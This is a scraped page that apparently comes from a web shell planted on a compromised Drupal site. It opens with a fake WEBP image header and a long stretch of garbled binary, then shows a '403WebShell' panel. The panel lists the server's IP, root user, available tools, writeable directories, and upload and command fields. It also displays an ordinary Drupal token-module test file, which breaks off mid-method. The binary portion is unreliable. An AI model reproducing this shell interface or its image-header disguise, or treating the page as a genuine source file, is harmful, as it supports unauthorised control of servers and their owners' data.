RIFF¤ WEBPVP8 ˜ ðÑ *ôô>‘HŸK¥¤"§£±¨àð ....................................../////.===Shadow-Here===./////................................................ > < > < > < > < > < > < > < > < > < > < > < > < > < > < > < > < > < > < > < > < > < > < > < > < > < > < > < > < > < ------------------------------------------------------------------------------------------------------------------- /////////////////////////////////////////////////////////////////////////////////////////////////////////////////// RIFF¤ WEBPVP8 ˜ ðÑ *ôô>‘HŸK¥¤"§£±¨àð enü¹%½_F‘åè¿2ºQú³íªú`N¿­3ÿƒügµJžaÿ¯ÿ°~¼ÎùnúîÞÖô•òíôÁÉß®Sm¥Ü/ ‡ó˜f£Ùà<˜„xëJ¢Ù€SO3x<ªÔ©4¿+ç¶A`q@Ì“Úñè™ÍÿJÌ´ª-˜ÆtÊÛL]Ïq*‘Ý”ì#ŸÌÏãY]@ê`¿ /ªfkØB4·®£ó z—Üw¥Pxù–ÞLШKÇN¾AkÙTf½è'‰g gÆv›Øuh~ a˜Z— ïj*á¥t d£“uÒ ¨`K˜¹ßþ]b>˜]_ÏÔ6W—è2r4x•íÖ…"ƒÖNîä!¦å Ú}ýxGøÌ —@ ;ÆÚŠ=ɾ1ý8lªË¥ô ^yf®Œ¢u&2©nÙÇ›ñÂñŒ³ aPo['½»øFùà­+4ê“$!lövlüÞ=;N®3ð‚õ›DÉKòÞ>ÄÍ ¥ˆuߤ#ˆ$6ù™¥îЇy’ÍB¼ çxÛ;X"WL£R÷͝*ó-¶Zu}º.s¸sšXqù–DþÿvªhüïwyŸ ¯é³lÀ:KCûÄ£Ëá\…­ ~—ýóî ¼ûûÜTÓüÇy…ŽÆvc»¾×U ñ¸žþоP÷¦ó:Ò¨¨5;Ð#&#ÖúñläÿÁœ GxÉ­/ñ‡áQðìYÉtÒw޼GÔ´zàÒò ð*ëzƒ•4~H]Ø‹f ñÓÈñ`NåWçs'ÆÏW^ø¹!XžµmQ5ÃËoLœÎ: ÞËÍ¥J ù…î èo£ßPÎñ¶ž8.Œ]ʵ~5›ÙË-ù*8ÙÖß±~ ©¹rÓê‚j¶d¸{^Q'˜±Crß ÚH—#¥¥QlÀ×ëã‡DÜ«èî þ&Çæžî;ŽÏºò6ÒLÃXy&ZŒ'j‚¢Ù€IßÚù+–MGi‰*jE€‘JcÜ ÓÌ EÏÚj]o˜ Þr <¾U ûŪæÍ/šÝH¥˜b”¼ ÁñßX GP›ï2›4WŠÏà×£…íÓk†¦H·ÅíMh–*nó÷à]ÁjCº€b7<ب‹¨5車bp2:Á[UªM„QŒçiNMa#<5›áËó¸HýÊ"…×Éw¹¦ì2º–x<›»a±¸3Weü®FÝ⑱ö–î–³|LPÈ~çð~Çå‡|º kD¢µÏàÆAI %1À% ¹Ò – ”ϝS¦‰4&¶£°à Öý”û_Ò Áw°A«Å€?mÇÛgHÉ/8)á¾ÛìáöŽP í¨PŸNÙµº¦‡§Ùš"ÿ«>+ªÕ`Ê÷‡‚ß Õû˜þãÇ-PÍ.¾XV‘€ dÜ"þ4¹ ±Oú‘©t¥¦FªÄÃÄ•b‚znýu½—#cDs˜ÃiÑOˆñ×QO=*IAÊ,¶ŽZƒ;‡wøXè%EÐk:F±Ú” .Ѽ+Áu&Ç`."pÈÉw o&¿dE6‘’EqTuK@Ì¥ã™À(Êk(h‰,H}RÀIXÛš3µ1©_OqÚÒJAñ$ÊÙÜ;D3çŒ[þùœh¬Ã³™ö6ç†NY".Ú‰ï[ªŸŒ '²Ð öø_¨ÂÉ9ué¶³ÒŠõTàîMØ#û¯gN‡bÙ놚X„ö …ÉeüÌ^J ‹€.œ$Æ)βÄeæW#óüßĺŸ€ ÀzwV 9oä»f4V*uB «Ë†¹ì¯žR霓æHXa=&“I4K;¯ç‹h×·"UŠ~<•╪Vêª&ÍSÃÆÅ?ÔqÎ*mTM ˜›µwêd#[C¡©§‘D<©àb†–ÁœøvH/,í:¯( ²£|4-„Æövv„Yͼ™^Á$ˆ„¢Û[6yB.åH*V¨æ?$=˜Ñ€•ñ·­(VlŸ‘ nÀt8W÷´Bûba?q9ú¶Xƒl«ÿ\ù¶’þòUÐj/õ¢Ìµ³g$ƒÎR!¸»|Oߍë’BhîÚÑ¢ñåŒJ„®„£2Ð3•ô02Nt…!£Í]Ïc½Qÿ?ˆ<&ÃA¾Ú,JˆijÌ#5yz„‰Î|ÊŽ5QÏ:‹ÐaóVÔxW—CpeÏzÐïíçôÿÅ_[hãsÐ_/ŽTÝ?BîˆííV$<¿i>²F¬_Eß¿ †bÊŒº­ÿ®Z H“C}”¬,Mp ý/Bá£w>˜YV°aƒúh+cŠ- r/[%|üUMHäQ°X»|û/@|°¥Ð !BÔ Ç¢Ä©š+Õì D«7ìN¶ŽðÔ " ƶ’ÖçtA‰Û×}{tþz­¾GÍ›k¹OEJR$ Â׃ «ëÁ"oÉôž$oUK(Ä)Ãz³Ê-‹êN[Ò3Œñbï8P 4ƒ×q¢bo|?<ÛX¬òÄͰL–±›(™ûG?ýË©ÚÄ–ÂDØÐ_Ç¡ô ¾–ÄÏø ×e8Ë©$ÄF¹Å‹ì[©óìl:F¾f´‹‹Xì²ï®\¬ôùƒ ÿat¥óèÒùHß0äe‚;ü×h:ÆWðHž=Ã8骣"kœ'Y?³}Tûè€>?0l›e1Lòñ„aæKÆw…hÖŠùW…ÈÆÄ0ši·›[pcwËþñiêíY/~-Á5˜!¿†A›™Mÿþ(±“t@â“ö2­´TG5yé]çå僳 .·ÍïçÝ7UÚ±Ð/Nè»,_Ï ùdj7\ï Wì4›„»c¸àešg#ÒÊ⥭áØo5‘?ÌdÝô¯ ¹kzsƒ=´#ëÉK›Ø´±-¥eW?‡çßtòTã…$Ý+qÿ±ƒ÷_3Ô¥í÷:æ–ž<·Ö‡‰Å¢ š‡%Ô—utÌÈìðžgÖÀz²À—ï÷Óîäõ{K'´È÷³yaÏÁjƒô}ž§®æÊydÕÈë5¯èˆõvÕ©ã*çD„ “z„Ó‡^^xÂ3M§A´JG‚öï 3W'ˆ.OvXè¡ÊÕª?5º7†˜(˜Ç¶#çê’¶!ÌdZK§æ 0fãaN]òY³RV ™î$®K2R¨`W!1Ôó\;Ý ýB%qæK•&ÓÈe9È0êI±žeŸß -ú@žQr¦ ö4»M¼Áè¹µmw 9 EÆE_°2ó„ŸXKWÁ×Hóì^´²GѝF©óäR†¦‰ç"V»eØ<3ùd3ÿÚ¤Žú“Gi" —‘_ÙËÎ~Üö¯¥½Î»üŸEÚŽåmÞþí ;ÞólËΦMzA"Âf(´òá;Éï(/7½ûñÌ­cïÕçлþÝz¾-ÍvÑ“pH­–ðÓj$¸Äû¤‚‘ãUBË-n“2åPkS5&‹Â|+g^œ®Ì͆d!OïäîU«c;{Û!ÅŽ«ëZ9Ókóˆ]¯ƒ›né `ÇÒ+tÆš (ØKá¾—=3œ®•vuMñg²\ï Ec€ 05±d™‡×iÇ×›UúvÌ¢£Èþ¡ÕØô¶ßÎA"ß±#Ö²ˆÊŸ¦*Ä~ij|àø.-¼'»Ú¥£h ofº¦‡VsR=N½„Î v˜Z*SÌ{=jÑB‹tê…;’HžH¯8–îDù8ñ¢|Q•bÛçš–‹m³“ê¨ åÏ^m¬Žãþ©ïêO‡½6] µÆ„Ooòü ²x}N¦Ë3ïé¿»€›HA˜m%çÞ/¿í7Fø“‹léUk)É°Œµ8Q8›:ÀŠeT*šõ~ôڝG6 ¢}`ùH­–”¡k ‰P1>š†®9z11!X wKfmÁ¦xÑ,N1Q”–æB¶M…ÒÃv6SMˆhU¬ÊPŽï‘öj=·CŒ¯u¹ƒVIЃsx4’ömÛýcå¡¶7ßŠß 57^\wÒÐÆ k§h,Œý î«q^R½3]J¸ÇðN ‚çU¬ôº^Áì} ³f©Õœ§ˆã:FÄÈ‚é(€™?àýÓüè1Gô£¼éj‚OÅñ  #>×—ßtà 0G¥Åa뀐kßhc™À_ÉñÞ#±)GD" YîäË-ÿÙ̪ ¹™a¯´¢E\ÝÒö‚;™„ë]_ p8‰o¡ñ+^÷ 3‘'dT4œŽ ðVë½° :¬víÑ«£tßÚS-3¶“þ2 †üüʨòrš¹M{É_¤`Û¨0ìjœøJ‡:÷ÃáZ˜†@GP&œÑDGÏs¡þ¦þDGú‘1Yá9Ôþ¼ ûø…§÷8&–ÜÑnÄ_m®^üÆ`;ÉVÁJ£?â€-ßê}suÍ2sõA NÌúA磸‘îÿÚ»ƒìö·á¿±tÑÐ"Tÿü˜[@/äj¬€uüªìù¥Ý˜á8Ý´sõj 8@rˆð äþZÇD®ÿUÏ2ùôõrBzÆÏÞž>Ì™xœ“ wiÎ×7_… ¸ \#€MɁV¶¥üÕÿPÔ9Z‡ø§É8#H:ƒ5ÀÝå9ÍIŒ5åKÙŠ÷qÄ>1AÈøžj"µÂд/ªnÀ qªã}"iŸBå˜ÓÛŽ¦…&ݧ;G@—³b¯“•"´4í¨ôM¨åñC‹ïùÉó¯ÓsSH2Ý@ßáM‡ˆKÀªÛUeø/4\gnm¥‹ŸŒ qÄ b9ÞwÒNÏ_4Ég³ú=܆‚´ •â¥õeíþkjz>éÚyU«Íӝ݃6"8/ø{=Ô¢»G¥ äUw°W«,ô—¿ãㆅү¢³xŠUû™yŒ (øSópÐ 9\åTâ»—*oG$/×ÍT†Y¿1¤Þ¢_‡ ¼ „±ÍçèSaÓ 3ÛMÁBkxs‰’R/¡¤ˆÙçª(*õ„üXÌ´ƒ E§´¬EF"Ù”R/ÐNyÆÂ^°?™6¡œïJ·±$§?º>ÖüœcNÌù¯G ‹ñ2ЁBB„^·úìaz¨k:#¨Æ¨8LÎõލ£^§S&cŒÐU€ü(‡F±Š¼&P>8ÙÁ ‰ p5?0ÊÆƒZl¸aô š¼¡}gÿ¶zÆC²¹¬ÎÖG*HB¡O<º2#ñŒAƒ–¡B˜´É$¥›É:FÀÔx¾u?XÜÏÓvN©RS{2ʈãk9rmP¼Qq̳ è¼ÐFׄ^¡Öì fE“F4A…!ì/…¦Lƒ… … $%´¾yã@CI¬ á—3PþBÏNÿ<ý°4Ü ËÃ#ØÍ~âW«rEñw‹eùMMHß²`¬Öó½íf³:‹k˜¯÷}Z!ã¿<¥,\#öµÀ¯aÒNÆIé,Ћ–lŽ#Àæ9ÀÒS·I’½-Ïp Äz¤Š Â* ­íÄ9­< h>׍3ZkËU¹§˜ŒŠ±f­’¤º³Q ÏB?‹#µíÃ¥®@(Gs«†vI¥Mµ‹Á©e~2ú³ÁP4ìÕi‚²Ê^ö@-DþÓàlÜOÍ]n"µã:žpsŽ¢:! Aõ.ç~ÓBûH÷JCÌ]õVƒd «ú´QÙEA–¯¯Œ!.ˆˆëQ±ù œ·Ì!Õâ )ùL„ÅÀlÚè5@B…o´Æ¸XÓ&Û…O«˜”_#‡ƒ„ûÈt!¤ÁÏ›ÎÝŠ?c9 â\>lÓÁVÄÑ™£eØY]:fÝ–—ù+p{™ðè û³”g±OƒÚSù£áÁÊ„ä,ï7š²G ÕÌBk)~ÑiCµ|h#u¤¶îK¨² #²vݯGãeÖ϶ú…¾múÀ¶þÔñ‚Š9'^($¤§ò “š½{éúp÷J›ušS¹áªCÂubÃH9™D™/ZöØÁ‡¦ÝÙŸ·kð*_”.C‹{áXó€‡c¡c€§/šò/&éš÷,àéJþ‰X›fµ“C¨œ®r¬"kL‰Â_q…Z–.ÉL~O µ›zn‚¹À¦Öª7\àHµšÖ %»ÇníV[¥*Õ;ƒ#½¾HK-ÖIÊdÏEÚ#=o÷Óò³´Š: Ç?{¾+9›–‘OEáU·S€˜j"ÄaÜ ŒÛWt› á–c#a»pÔZÞdŽtWê=9éöÊ¢µ~ ë ;Öe‡Œ®:bî3±ýê¢wà¼îpêñ¹¾4 zc¾ðÖÿzdêŒÑÒŝÀ‰s6¤í³ÎÙB¿OZ”+F¤á‡3@Ñëäg©·Ž ˆèª<ù@É{&S„œÕúÀA)‰h:YÀ5^ÂÓŒ°õäU\ ùËÍû#²?Xe¬tu‰^zÒÔãë¼ÛWtEtû …‚g¶Úüâî*moGè¨7%u!]PhÏd™Ý%Îx: VÒ¦ôÊD3ÀŽKÛËãvÆî…N¯ä>Eró–ð`5 Œ%u5XkñÌ*NU%¶áœÊ:Qÿú»“úzyÏ6å-၇¾ ´ ÒÊ]y žO‘w2Äøæ…H’²f±ÎÇ.ª|¥'gîV•Ü .̘¯€šòü¤U~Ù†*¢!?ò wý,}´°ÔÞnïoKq5µb!áÓ3"vAßH¡³¡·G(ÐÎ0Îò¼MG!/ài®@—¬04*`…«é8ªøøló“ˆÊ”èù¤…ßÊoÿé'ËuÌÖ5×È¡§ˆˆfŽë9}hìâ_!!¯  B&Ëö¶‰ÀAÙNVŸ Wh›¸®XÑJì¨ú“¿÷3uj²˜¨ÍÎìë±aúŠÝå¯ð*Ó¨ôJ“yºØ)m°WýOè68†ŸÏ2—‰Ïüꪫٚ¥‹l1 ø ÏÄFjêµvÌbü¦èÝx:X±¢H=MÐß—,ˆÉÇ´(9ú¾^ÅÚ4¿m‡$âX‘å%(AlZo@½¨UOÌÕ”1ø¸jÎÀÃÃ_ µ‘Ü.œº¦Ut: Æï’!=¯uwû#,“pþÇúŒø(é@?³ü¥‘Mo §—s@Œ#)§ŒùkL}NOÆêA›¸~r½¼ÙA—HJ«eˆÖ´*¡ÓpÌŸö.m<-"³ûÈ$¬_6­åf£ïÚâj1y§ÕJ½@dÞÁr&Í\Z%D£Íñ·AZ Û³øüd/ªAi†/Й~  ‡âĮҮÏh§°b—›Û«mJžòG'[ÈYýŒ¦9psl ýÁ ®±f¦x,‰½tN ‚Xª9 ÙÖH.«Lo0×?͹m¡å†Ѽ+›2ƒF ±Ê8 7Hցϓ²Æ–m9…òŸï]Â1äN†VLâCˆU .ÿ‰Ts +ÅÎx(%¦u]6AF Š ØF鈄‘ |¢¶c±soŒ/t[a¾–û:s·`i햍ê›ËchÈ…8ßÀUÜewŒðNOƒõD%q#éû\9¤x¹&UE×G¥ Í—™$ð E6-‡¼!ýpãÔM˜ Âsìe¯ñµK¢Ç¡ùôléœ4Ö£”À Š®Ðc ^¨À}ÙËŸ§›ºê{ÊuÉC ×Sr€¤’fÉ*j!úÓ’Gsùìoîßîn%ò· àc Wp÷$¨˜)û»H ×8ŽÒ€Zj¤3ÀÙºY'Ql¦py{-6íÔCeiØp‘‡XÊîÆUߢ܂ž£Xé¼Y8þ©ëgñß}é.ÎógÒ„ÃØËø¯»™§Xýy M%@NŠ À(~áÐvu7&•,Ù˜ó€uP‡^^®=_E„jt’ 403WebShell
403Webshell
Server IP : 104.225.223.251  /  Your IP : 216.73.216.41
Web Server : Apache/2.4.41 (Ubuntu)
System : Linux agtdemo03 5.4.0-216-generic #236-Ubuntu SMP Fri Apr 11 19:53:21 UTC 2025 x86_64
User : root ( 0)
PHP Version : 7.4.3-4ubuntu2.29
Disable Function : pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wifcontinued,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_get_handler,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,pcntl_async_signals,pcntl_unshare,
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : ON
Directory :  /srv/wp/ciieduconnect.in/www/modules/contrib/token/tests/src/Kernel/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /srv/wp/ciieduconnect.in/www/modules/contrib/token/tests/src/Kernel/FieldTest.php
<?php

namespace Drupal\Tests\token\Kernel;

use Drupal\Component\Utility\Unicode;
use Drupal\contact\Entity\ContactForm;
use Drupal\Core\Entity\Entity\EntityViewMode;
use Drupal\Core\Render\Markup;
use Drupal\datetime\Plugin\Field\FieldType\DateTimeItem;
use Drupal\datetime_range\Plugin\Field\FieldType\DateRangeItem;
use Drupal\field\Entity\FieldConfig;
use Drupal\field\Entity\FieldStorageConfig;
use Drupal\filter\Entity\FilterFormat;
use Drupal\node\Entity\Node;
use Drupal\node\Entity\NodeType;
use Drupal\contact\Entity\Message;
use Drupal\Component\Utility\Html;
use Drupal\Core\Field\FieldStorageDefinitionInterface;
use Drupal\language\Entity\ConfigurableLanguage;
use Drupal\Tests\taxonomy\Traits\TaxonomyTestTrait;

/**
 * Tests field tokens.
 *
 * @group token
 */
class FieldTest extends KernelTestBase {

  use TaxonomyTestTrait;

  /**
   * @var \Drupal\filter\FilterFormatInterface
   */
  protected $testFormat;


  /**
   * Vocabulary for testing chained token support.
   *
   * @var \Drupal\taxonomy\VocabularyInterface
   */
  protected $vocabulary;

  /**
   * {@inheritdoc}
   */
  protected static $modules = [
    'node',
    'text',
    'field',
    'filter',
    'contact',
    'options',
    'taxonomy',
    'language',
    'datetime',
    'datetime_range',
  ];

  /**
   * {@inheritdoc}
   */
  public function setUp(): void {
    parent::setUp();

    $this->installEntitySchema('user');
    $this->installEntitySchema('node');
    $this->installEntitySchema('taxonomy_term');

    // Create the article content type with a text field.
    $node_type = NodeType::create([
      'type' => 'article',
    ]);
    $node_type->save();

    $field_storage = FieldStorageConfig::create([
      'field_name' => 'test_field',
      'entity_type' => 'node',
      'type' => 'text',
    ]);
    $field_storage->save();

    $field = FieldConfig::create([
      'field_name' => 'test_field',
      'entity_type' => 'node',
      'bundle' => 'article',
      'label' => 'Test field',
    ]);
    $field->save();

    // Create a reference field with the same name on user.
    $field_storage = FieldStorageConfig::create([
      'field_name' => 'test_field',
      'entity_type' => 'user',
      'type' => 'entity_reference',
    ]);
    $field_storage->save();

    $field = FieldConfig::create([
      'field_name' => 'test_field',
      'entity_type' => 'user',
      'bundle' => 'user',
      'label' => 'Test field',
    ]);
    $field->save();

    $this->testFormat = FilterFormat::create([
      'format' => 'test',
      'name' => 'Test format',
      'weight' => 1,
      'filters' => [
        'filter_html_escape' => ['status' => TRUE],
      ],
    ]);
    $this->testFormat->save();

    // Create a multi-value list_string field.
    $field_storage = FieldStorageConfig::create([
      'field_name' => 'test_list',
      'entity_type' => 'node',
      'type' => 'list_string',
      'cardinality' => 2,
      'settings' => [
        'allowed_values' => [
          'key1' => 'value1',
          'key2' => 'value2',
        ]
      ],
    ]);
    $field_storage->save();

    $this->field = FieldConfig::create([
      'field_name' => 'test_list',
      'entity_type' => 'node',
      'bundle' => 'article',
    ])->save();

    // Add an untranslatable node reference field.
    FieldStorageConfig::create([
      'field_name' => 'test_reference',
      'type' => 'entity_reference',
      'entity_type' => 'node',
      'settings' => [
        'target_type' => 'node',
      ],
      'translatable' => FALSE,
    ])->save();
    FieldConfig::create([
      'field_name' => 'test_reference',
      'entity_type' => 'node',
      'bundle' => 'article',
      'label' => 'Test reference',
    ])->save();

    // Add an untranslatable taxonomy term reference field.
    $this->vocabulary = $this->createVocabulary();

    FieldStorageConfig::create([
      'field_name' => 'test_term_reference',
      'type' => 'entity_reference',
      'entity_type' => 'node',
      'settings' => [
        'target_type' => 'taxonomy_term',
      ],
      'translatable' => FALSE,
    ])->save();
    FieldConfig::create([
      'field_name' => 'test_term_reference',
      'entity_type' => 'node',
      'bundle' => 'article',
      'label' => 'Test term reference',
      'settings' => [
        'handler' => 'default:taxonomy_term',
        'handler_settings' => [
          'target_bundles' => [
            $this->vocabulary->id() => $this->vocabulary->id(),
          ],
        ],
      ],
    ])->save();

    // Add a field to terms of the created vocabulary.
    $storage = FieldStorageConfig::create([
      'field_name' => 'term_field',
      'entity_type' => 'taxonomy_term',
      'type' => 'text',
    ]);
    $storage->save();
    $field = FieldConfig::create([
      'field_name' => 'term_field',
      'entity_type' => 'taxonomy_term',
      'bundle' => $this->vocabulary->id(),
    ]);
    $field->save();

    // Add a second language.
    $language = ConfigurableLanguage::create([
      'id' => 'de',
      'label' => 'German',
    ]);
    $language->save();

    // Add a datetime field.
    $field_datetime_storage = FieldStorageConfig::create([
      'field_name' => 'field_datetime',
      'type' => 'datetime',
      'entity_type' => 'node',
      'settings' => ['datetime_type' => DateTimeItem::DATETIME_TYPE_DATETIME],
      'cardinality' => FieldStorageDefinitionInterface::CARDINALITY_UNLIMITED,
    ]);
    $field_datetime_storage->save();
    $field_datetime = FieldConfig::create([
      'field_storage' => $field_datetime_storage,
      'bundle' => 'article',
    ]);
    $field_datetime->save();

    // Add a daterange field.
    $field_daterange_storage = FieldStorageConfig::create([
      'field_name' => 'field_daterange',
      'type' => 'daterange',
      'entity_type' => 'node',
      'settings' => ['datetime_type' => DateRangeItem::DATETIME_TYPE_DATETIME],
      'cardinality' => FieldStorageDefinitionInterface::CARDINALITY_UNLIMITED,
    ]);
    $field_daterange_storage->save();
    $field_daterange = FieldConfig::create([
      'field_storage' => $field_daterange_storage,
      'bundle' => 'article',
    ]);
    $field_daterange->save();

    // Add a timestamp field.
    $field_timestamp_storage = FieldStorageConfig::create([
      'field_name' => 'field_timestamp',
      'type' => 'timestamp',
      'entity_type' => 'node',
      'cardinality' => FieldStorageDefinitionInterface::CARDINALITY_UNLIMITED,
    ]);
    $field_timestamp_storage->save();
    $field_timestamp = FieldConfig::create([
      'field_storage' => $field_timestamp_storage,
      'bundle' => 'article',
    ]);
    $field_timestamp->save();
  }

  /**
   * Tests [entity:field_name] tokens.
   */
  public function testEntityFieldTokens() {
    // Create a node with a value in its fields and test its tokens.
    $entity = Node::create([
      'title' => 'Test node title',
      'type' => 'article',
      'test_field' => [
        'value' => 'foo',
        'format' => $this->testFormat->id(),
      ],
      'test_list' => [
        'value1',
        'value2',
      ],
    ]);
    $entity->save();
    $this->assertTokens('node', ['node' => $entity], [
      'test_field' => Markup::create('foo'),
      'test_field:0' => Markup::create('foo'),
      'test_field:0:value' => 'foo',
      'test_field:value' => 'foo',
      'test_field:0:format' => $this->testFormat->id(),
      'test_field:format' => $this->testFormat->id(),
      'test_list:0' => Markup::create('value1'),
      'test_list:1' => Markup::create('value2'),
      'test_list:0:value' => Markup::create('value1'),
      'test_list:value' => Markup::create('value1'),
      'test_list:1:value' => Markup::create('value2'),
    ]);

    // Verify that no third token was generated for the list_string field.
    $this->assertNoTokens('node', ['node' => $entity], [
      'test_list:2',
      'test_list:2:value',
    ]);

    // Test the test_list token metadata.
    $tokenService = \Drupal::service('token');
    $token_info = $tokenService->getTokenInfo('node', 'test_list');
    $this->assertEquals('test_list', $token_info['name']);
    $this->assertEquals('token', $token_info['module']);
    $this->assertEquals('list<node-test_list>', $token_info['type']);
    $typeInfo = $tokenService->getTypeInfo('list<node-test_list>');
    $this->assertEquals('List of test_list values', $typeInfo['name']);
    $this->assertEquals('list<node-test_list>', $typeInfo['type']);

    // Create a node type that does not have test_field field.
    $node_type = NodeType::create([
      'type' => 'page',
    ]);
    $node_type->save();

    $node_without_test_field = Node::create([
      'title' => 'Node without test_field',
      'type' => 'page',
    ]);
    $node_without_test_field->save();

    // Ensure that trying to generate tokens for a non-existing field does not
    // throw an exception.
    $this->assertNoTokens('node', ['node' => $node_without_test_field], ['test_field']);

    // Create a node without a value in the text field and test its token.
    $entity = Node::create([
      'title' => 'Test node title',
      'type' => 'article',
    ]);
    $entity->save();

    $this->assertNoTokens('node', ['node' => $entity], [
      'test_field',
    ]);
  }

  /**
   * Tests the token metadata for a field token.
   */
  public function testFieldTokenInfo() {
    /** @var \Drupal\token\Token $tokenService */
    $tokenService = \Drupal::service('token');

    // Test the token info of the text field of the artcle content type.
    $token_info = $tokenService->getTokenInfo('node', 'test_field');
    $this->assertEquals('Test field', $token_info['name'], 'The token info name is correct.');
    $this->assertEquals('Text (formatted) field.', $token_info['description'], 'The token info description is correct.');
    $this->assertEquals('token', $token_info['module'], 'The token info module is correct.');

    // Now create two more content types that share the field but the last
    // of them sets a different label. This should show an alternative label
    // at the token info.
    $node_type = NodeType::create([
      'type' => 'article2',
    ]);
    $node_type->save();
    $field = FieldConfig::create([
      'field_name' => 'test_field',
      'entity_type' => 'node',
      'bundle' => 'article2',
      'label' => 'Test field',
    ]);
    $field->save();

    $node_type = NodeType::create([
      'type' => 'article3',
    ]);
    $node_type->save();
    $field = FieldConfig::create([
      'field_name' => 'test_field',
      'entity_type' => 'node',
      'bundle' => 'article3',
      'label' => 'Different test field',
    ]);
    $field->save();

    $token_info = $tokenService->getTokenInfo('node', 'test_field');
    $this->assertEquals('Test field', $token_info['name'], 'The token info name is correct.');
    $this->assertEquals('Text (formatted) field. Also known as <em class="placeholder">Different test field</em>.', (string) $token_info['description'], 'When a field is used in several bundles with different labels, this is noted at the token info description.');
    $this->assertEquals('token', $token_info['module'], 'The token info module is correct.');
    $this->assertEquals('node-test_field', $token_info['type'], 'The field property token info type is correct.');

    // Test field property token info.
    $token_info = $tokenService->getTokenInfo('node-test_field', 'value');
    $this->assertEquals('Text', $token_info['name'], 'The field property token info name is correct.');
    // This particular field property description happens to be empty.
    $this->assertEquals('', (string) $token_info['description'], 'The field property token info description is correct.');
    $this->assertEquals('token', $token_info['module'], 'The field property token info module is correct.');
  }

  /**
   * Test tokens on node with the token view mode overriding default formatters.
   */
  public function testTokenViewMode() {
    $value = 'A really long string that should be trimmed by the special formatter on token view we are going to have.';

    // The formatter we are going to use will eventually call Unicode::strlen.
    // This expects that the Unicode has already been explicitly checked, which
    // happens in DrupalKernel. But since that doesn't run in kernel tests, we
    // explicitly call this here.
    Unicode::check();

    // Create a node with a value in the text field and test its token.
    $entity = Node::create([
      'title' => 'Test node title',
      'type' => 'article',
      'test_field' => [
        'value' => $value,
        'format' => $this->testFormat->id(),
      ],
    ]);
    $entity->save();

    $this->assertTokens('node', ['node' => $entity], [
      'test_field' => Markup::create($value),
    ]);

    // Now, create a token view mode which sets a different format for
    // test_field. When replacing tokens, this formatter should be picked over
    // the default formatter for the field type.
    // @see field_tokens().
    $view_mode = EntityViewMode::create([
      'id' => 'node.token',
      'targetEntityType' => 'node',
    ]);
    $view_mode->save();
    $entity_display = \Drupal::service('entity_display.repository')->getViewDisplay('node', 'article', 'token');
    $entity_display->setComponent('test_field', [
      'type' => 'text_trimmed',
      'settings' => [
        'trim_length' => 50,
      ]
    ]);
    $entity_display->save();

    $this->assertTokens('node', ['node' => $entity], [
      'test_field' => Markup::create(substr($value, 0, 50)),
    ]);
  }

  /**
   * Test that tokens are properly created for an entity's base fields.
   */
  public function testBaseFieldTokens() {
    // Create a new contact_message entity and verify that tokens are generated
    // for its base fields. The contact_message entity type is used because it
    // provides no tokens by default.
    $contact_form = ContactForm::create([
      'id' => 'form_id',
    ]);
    $contact_form->save();

    $entity = Message::create([
      'contact_form' => 'form_id',
      'uuid' => '123',
      'langcode' => 'en',
      'name' => 'Test name',
      'mail' => 'Test mail',
      'subject' => 'Test subject',
      'message' => 'Test message',
      'copy' => FALSE,
    ]);
    $entity->save();
    $this->assertTokens('contact_message', ['contact_message' => $entity], [
      'uuid' => Markup::create('123'),
      'langcode' => Markup::create('English'),
      'name' => Markup::create('Test name'),
      'mail' => Markup::create('Test mail'),
      'subject' => Markup::create('Test subject'),
      'message' => Markup::create('Test message'),
      'copy' => 'Off',
    ]);

    // Test the metadata of one of the tokens.
    $tokenService = \Drupal::service('token');
    $token_info = $tokenService->getTokenInfo('contact_message', 'subject');
    $this->assertEquals($token_info['name'], 'Subject');
    $this->assertEquals($token_info['description'], 'Text (plain) field.');
    $this->assertEquals($token_info['module'], 'token');

    // Verify that node entity type doesn't have a uid token.
    $this->assertNull($tokenService->getTokenInfo('node', 'uid'));
  }

  /*
   * Tests chaining entity reference tokens.
   */
  public function testEntityReferenceTokens() {
    $reference = Node::create([
      'title' => 'Test node to reference',
      'type' => 'article',
      'test_field' => [
        'value' => 'foo',
        'format' => $this->testFormat->id(),
      ]
    ]);
    $reference->save();
    $term_reference_field_value = $this->randomString();
    $term_reference = $this->createTerm($this->vocabulary, [
      'name' => 'Term to reference',
      'term_field' => [
        'value' => $term_reference_field_value,
        'format' => $this->testFormat->id(),
      ],
    ]);
    $entity = Node::create([
      'title' => 'Test entity reference',
      'type' => 'article',
      'test_reference' => ['target_id' => $reference->id()],
      'test_term_reference' => ['target_id' => $term_reference->id()],
    ]);
    $entity->save();

    $this->assertTokens('node', ['node' => $entity], [
      'test_reference:entity:title' => Markup::create('Test node to reference'),
      'test_reference:entity:test_field' => Markup::create('foo'),
      'test_term_reference:entity:term_field' => Html::escape($term_reference_field_value),
      'test_reference:target_id' => $reference->id(),
      'test_term_reference:target_id' => $term_reference->id(),
      'test_term_reference:entity:url:path' => '/' . $term_reference->toUrl('canonical')->getInternalPath(),
      // Expects the entity's label to be returned for :entity tokens.
      'test_reference:entity' => $reference->label(),
      'test_term_reference:entity' => $term_reference->label(),
    ]);

    // Test some non existent tokens.
    $this->assertNoTokens('node', ['node' => $entity], [
      'test_reference:1:title',
      'test_reference:entity:does_not_exist',
      'test_reference:does_not:exist',
      'test_term_reference:does_not_exist',
      'test_term_reference:does:not:exist',
      'test_term_reference:does_not_exist:0',
      'non_existing_field:entity:title',
    ]);

    /** @var \Drupal\token\Token $token_service */
    $token_service = \Drupal::service('token');

    $token_info = $token_service->getTokenInfo('node', 'test_reference');
    $this->assertEquals('Test reference', $token_info['name']);
    $this->assertEquals('Entity reference field.', (string) $token_info['description']);
    $this->assertEquals('token', $token_info['module']);
    $this->assertEquals('node-test_reference', $token_info['type']);

    // Test target_id field property token info.
    $token_info = $token_service->getTokenInfo('node-test_reference', 'target_id');
    $this->assertEquals('Content ID', $token_info['name']);
    $this->assertEquals('token', $token_info['module']);
    $this->assertEquals('token', $token_info['module']);

    // Test entity field property token info.
    $token_info = $token_service->getTokenInfo('node-test_reference', 'entity');
